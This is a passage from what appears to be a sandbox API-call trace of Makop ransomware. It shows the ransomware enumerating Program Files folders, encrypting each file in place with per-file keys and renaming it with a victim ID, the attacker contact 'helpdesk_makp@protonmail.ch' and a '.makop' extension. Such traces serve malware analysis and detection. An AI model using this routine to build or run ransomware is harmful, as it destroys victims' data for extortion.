SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.237] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5550, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5550, lpOverlapped=0x0) returned 1 [0103.240] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5550, dwBufLen=0x5550 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5550) returned 1 [0103.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.241] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5550, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5550, lpOverlapped=0x0) returned 1 [0103.241] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.241] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.241] SetEndOfFile (hFile=0xf0) returned 1 [0103.248] GetProcessHeap () returned 0x48a0000 [0103.248] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.248] GetProcessHeap () returned 0x48a0000 [0103.248] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.248] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 111 [0103.248] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee90.tlb.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee90.tlb.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.249] CloseHandle (hObject=0xf0) returned 1 [0103.250] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5550, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0103.250] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.250] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0103.250] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned 58 [0103.250] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*") returned 62 [0103.250] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.252] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.252] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0103.252] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033") returned 63 [0103.252] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*") returned 67 [0103.252] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.253] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.253] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0103.253] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL") returned 76 [0103.253] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0103.255] GetProcessHeap () returned 0x48a0000 [0103.255] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.255] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.255] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0103.255] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.259] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.259] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.259] GetProcessHeap () returned 0x48a0000 [0103.259] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0103.259] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0103.260] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.260] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0103.260] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0103.260] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0103.260] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0103.260] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0103.261] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0103.261] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0103.261] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.261] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.261] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x2988, lpOverlapped=0x0) returned 1 [0103.262] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2990, dwBufLen=0x2990 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2990) returned 1 [0103.262] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.263] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2990, lpOverlapped=0x0) returned 1 [0103.263] CryptDestroyKey (hKey=0x48c7168) returned 1 [0103.263] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.263] SetEndOfFile (hFile=0x138) returned 1 [0103.278] GetProcessHeap () returned 0x48a0000 [0103.278] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0103.278] GetProcessHeap () returned 0x48a0000 [0103.278] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.278] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0103.278] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\MSOSVINT.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\1033\\msosvint.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.279] CloseHandle (hObject=0x138) returned 1 [0103.280] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 0 [0103.280] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0103.280] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0103.280] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL") returned 68 [0103.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0103.281] GetProcessHeap () returned 0x48a0000 [0103.281] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0103.281] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0103.281] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0103.281] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.286] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.286] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.286] GetProcessHeap () returned 0x48a0000 [0103.286] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0103.286] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0103.286] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.286] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0103.287] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0103.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0103.287] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0103.287] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0103.288] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0103.288] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0103.288] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0103.288] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.288] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xaf88, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xaf88, lpOverlapped=0x0) returned 1 [0103.290] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf90, dwBufLen=0xaf90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xaf90) returned 1 [0103.290] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.291] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xaf90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xaf90, lpOverlapped=0x0) returned 1 [0103.291] CryptDestroyKey (hKey=0x48c7128) returned 1 [0103.291] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xb054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.291] SetEndOfFile (hFile=0xf0) returned 1 [0103.298] GetProcessHeap () returned 0x48a0000 [0103.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0103.298] GetProcessHeap () returned 0x48a0000 [0103.298] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0103.298] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 115 [0103.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSOSV.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\web folders\\msosv.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0103.300] CloseHandle (hObject=0xf0) returned 1 [0103.300] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0103.301] FindClose (in: hFindFile=0x48c70e8 | out: hFindFile=0x48c70e8) returned 1 [0103.301] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0103.301] wsprintfW (in: param_1=0x657a7f0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions") returned 68 [0103.301] wsprintfW (in: param_1=0x6577d70, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*") returned 72 [0103.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*.*", lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70e8 [0103.308] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.308] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0103.308] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14") returned 71 [0103.308] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*") returned 75 [0103.308] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0103.309] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.309] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0103.309] wsprintfW (in: 